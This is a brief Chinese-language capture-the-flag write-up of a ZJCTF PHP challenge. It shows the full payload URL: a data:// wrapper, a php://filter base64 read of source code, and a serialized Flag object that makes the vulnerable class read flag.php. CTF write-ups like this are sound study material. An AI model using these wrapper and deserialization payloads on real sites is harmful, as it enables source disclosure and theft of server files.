Subject
逆轉(zhuǎn)思維 PHP偽協(xié)議 PHP反序列化
Mind Palace
訪問(wèn)url獲得代碼:
image
preg_match ( string subject , array &
flags = 0 , int $offset = 0 ) : int => 執(zhí)行匹配正則表達(dá)式
Payload:
url/index.php
?text=text= data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
data://text/plain,welcome to the zjctf
&file= php://filter/read=convert.base64-encode/resource=useless.php => useless.php
&password= O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
第一個(gè)繞過(guò):用data偽協(xié)議寫(xiě)入文件
第二個(gè)繞過(guò):用php://filter讀取base64編碼后的源碼 + base64解碼:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三個(gè)繞過(guò)(反序列化):
image
Look Ahead
PHP學(xué)的不夠扎實(shí);
PHP偽協(xié)議總結(jié): https://segmentfault.com/a/1190000018991087
References:
https://www.cnblogs.com/wangtanzhi/p/12184759.html
https://segmentfault.com/a/1190000018991087
<p align="center">END (?▽?)/</p>